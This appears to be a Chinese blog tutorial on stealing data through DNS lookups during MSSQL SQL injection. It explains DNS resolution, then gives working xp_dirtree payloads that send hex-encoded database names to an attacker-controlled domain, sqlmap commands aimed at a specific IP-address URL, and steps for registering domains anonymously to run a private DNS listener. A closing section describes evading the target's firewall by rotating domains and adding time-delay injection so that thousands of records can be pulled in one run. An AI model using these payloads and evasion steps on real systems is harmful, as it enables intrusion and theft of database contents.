Data Exfiltration with DNS in MSSQL SQLi attacks

DNS解析过程

DNS解析过程

DNS 查询的过程如下图1所示。

 

图1

文字举例说明:

假定浏览器想知道域名xprp8i.dnslog.cn的IP地址。

1、浏览器先向本地DNS服务器进行递归查询。

2、本地域名服务器采用迭代查询。它先向一个根域名服务器查询。

3、根域名服务器告诉本地DNS服务器,下一次应查询的顶级域名服务器a.dns.cn的IP地址。

4、本地域名服务器向顶级域名服务器a.dns.cn进行查询。

5、顶级域名服务器dns.cn告诉本地域名服务器,下一步应查询的权限服务器ns1.dnslog.cn的IP地址。

6、本地域名服务器向权限域名服务器ns1.dnslog.cn进行查询。

7、权限域名服务器ns1.dnslog.cn告诉本地域名服务器,xprp8i.dnslog.cn的IP地址。

8、本地域名服务器最后把查询结果告诉浏览器。

递归查询

从客户端到本地DNS服务器是属于递归查询。

迭代查询

DNS服务器之间的交互查询就是迭代查询。本地使用nslookup模拟一下这个过程,以查询xprp8i.dnslog.cn为例。

1、将DNS请求发送至其中一台根DNS服务器。

根DNS服务器收到请求后会判断这个域名(.cn)是谁来授权管理,并会返回负责该顶级域名的NS记录。

命令:

nslookup -q=a xprp8i.dnslog.cn 198.41.0.4

应答:

in-addr.arpa    nameserver = e.in-addr-servers.arpa

in-addr.arpa    nameserver = f.in-addr-servers.arpa

in-addr.arpa    nameserver = d.in-addr-servers.arpa

in-addr.arpa    nameserver = c.in-addr-servers.arpa

in-addr.arpa    nameserver = b.in-addr-servers.arpa

in-addr.arpa    nameserver = a.in-addr-servers.arpa

e.in-addr-servers.arpa  internet address = 203.119.86.101

e.in-addr-servers.arpa  AAAA IPv6 address = 2001:dd8:6::101

f.in-addr-servers.arpa  internet address = 193.0.9.1

f.in-addr-servers.arpa  AAAA IPv6 address = 2001:67c:e0::1

d.in-addr-servers.arpa  internet address = 200.10.60.53

d.in-addr-servers.arpa  AAAA IPv6 address = 2001:13c7:7010::53

c.in-addr-servers.arpa  internet address = 196.216.169.10

c.in-addr-servers.arpa  AAAA IPv6 address = 2001:43f8:110::10

b.in-addr-servers.arpa  internet address = 199.253.183.183

b.in-addr-servers.arpa  AAAA IPv6 address = 2001:500:87::87

a.in-addr-servers.arpa  internet address = 199.180.182.53

a.in-addr-servers.arpa  AAAA IPv6 address = 2620:37:e000::53

Server:  UnKnown

Address:  198.41.0.4

 

Name:    xprp8i.dnslog.cn

Served by:

- a.dns.cn

          203.119.25.1

          2001:dc7::1

          cn

- b.dns.cn

          203.119.26.1

          cn

- c.dns.cn

          203.119.27.1

          cn

- d.dns.cn

          203.119.28.1

          2001:dc7:1000::1

          cn

- e.dns.cn

          203.119.29.1

          cn

- f.dns.cn

          195.219.8.90

          cn

- g.dns.cn

          66.198.183.65

          cn

- ns.cernet.net

          202.112.0.44

          Cn

2、向其中一台负责cn顶级域的DNS服务器发起请求

命令:

nslookup -q=a xprp8i.dnslog.cn 195.219.8.90

应答:

DNS request timed out.

    timeout was 2 seconds.

Server:  UnKnown

Address:  195.219.8.90

 

DNS request timed out.

    timeout was 2 seconds.

Name:    xprp8i.dnslog.cn

Served by:

- ns1.dnslog.cn

          47.244.138.18

          dnslog.cn

- ns2.dnslog.cn

          47.244.138.18

          dnslog.cn

3、向其中一台负责dnslog.cn二级域的DNS服务器发起请求

最终,经查询得到了xprp8i.dnslog.cn对应的IP地址(此处是127.0.0.1)

命令:

nslookup -q=a xprp8i.dnslog.cn 47.244.138.18

应答:

Server:  UnKnown

Address:  47.244.138.18

 

Non-authoritative answer:

Name:    xprp8i.dnslog.cn

Address:  127.0.0.1

参考:

https://www.zhihu.com/question/23042131

https://zhidao.baidu.com/question/424525391971643892.html

DNS隧道测试

工具:

http://dnslog.cn/

点击“Get SubDomain”获取域名,点击“Refresh Record”查看请求记录。

SQL语句:

declare @host varchar(800);

select @host = 'test.k8xdu5.dnslog.cn';

exec ('master..xp_dirtree "\\'+@host+'\foobar$"');

使用SQL SERVER MANAGEMENT STUDIO新建查询

 

图3

如果刷新后可以看到我们提交的查询数据,说明DNS请求可以出得来,可进一步利用。

 

图4

自行搭建dnslog

注意:IP地址需要与注册信息中的国家相符合,否则注册失败。

网址:http://www.Freenom.com

1、先检测待注册域名的可用性。

 

2、注册的时候,在DNS选项中,选择使用自己的DNS,新建DNS服务器的地址,例如我这里自定义了两个dns服务器,分别是ns0.nogan.ga和ns1.nogan.ga,并且将他们的地址指向我的VPS服务器。

 

3、点击Continue,进入到结算页面。

如果你上一步没有注册用户,那么可以直接在这里填你用来注册用户的邮箱,然后根据指引进行操作。如果注册了用户,只需要直接登录就可以了。

 

4、进入到Review and Checkout页面,填入一些你的基本信息就可以了

 

5、这里记得勾选Lock profile,你的信息就不会被whois查询到了。接着下一步,勾选Complate Order,域名就注册成功了。

 

6、部署DNS服务

登录你的VPS服务器,运行下面这个python脚本,将在你的VPS主机监听UDP 53端口,并且回复DNS响应包:

Dsn.py:

https://github.com/sqlmapproject/sqlmap/blob/master/lib/request/dns.py

7、执行ping命令测试 效果

看到结果说明成功。

Ping test.buyao2.ga

 

参考:

https://www.cnblogs.com/Chorder/p/9087386.html

SQLMAP实现分析

看看sqlmap是怎么处理-v 3查看payload:

DECLARE @host varchar(1024);

SELECT @host='rMy.'+(SELECT TOP 1 master.dbo.fn_varbintohexstr(CAST

(SUBSTRING((ISNULL(CAST(name AS NVARCHAR(4000)),' ')),1,13) AS

VARBINARY(8000))) FROM master..sysdatabases WHERE name NOT IN

(SELECT TOP 4 name FROM master..sysdatabases ORDER BY name) ORDER BY

name)+'.Nrz.rainism.cc';

EXEC('master..xp_dirtree "\\'+@host+'\cCkc"');

知识点

1、通过在域名中添加随机字符串'rMy','Nrz'确保每次查询dns不存在缓存。

2、通过使用substring()函数每次传输特定位数的数据,防止UNC路径超过128个字符,导致错误。

3、通过使用master.dbo.fn_varbintohexstr()存储过程对获得数据进行16进制编码,防止出现非法字符导致语法错误,查询失败。

Sql语句

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain yourdomain.online

实战中遇到的问题

问题描述

大概率由于对方防火墙的原因,当获取20条左右的数据时lib\request\dns.py文件就出现以下错误,之后就获取不到数据了,然后歇会几分钟后,重新再来又可以获取到数据了。推测可能是访问频繁,导致域名被暂时封堵。

[Error 10054] An exiting connection was forcibly closed by the remote host

对策

申请多个域名,反正freenom.com免费申请,然后写个tamper随机选择域名。我申请了10个域名,效果是,还会报错但是能撑到100条这样。继续改进,捕获dns.py产生的sock error 10054错误,并且当出错的时候,通过waitfor delay语句进行延时注入。所以最终方案是,修改了dns.py和添加了一个tamper。完美解决,能一次性获取到上千条不中断了,就算出错也能较快恢复,执行完sqlmap一觉醒来,就收获满满了。

使用

sqlmap -u 'http://188.166.29.114/test.php?uid=1' -p uid --dbs --dns-domain dnslog.cn -t 8  --random-agent --tamper randomdns

Dns.py

 

Randomdns.py(tamper)

   转载请注明出处。

posted @   StudyCat  阅读(570)  评论(0编辑  收藏  举报
编辑推荐:
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
阅读排行:
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· AI 智能体引爆开源社区「GitHub 热点速览」
· 从HTTP原因短语缺失研究HTTP/2和HTTP/3的设计差异
· 三行代码完成国际化适配,妙~啊~
点击右上角即可分享
微信分享提示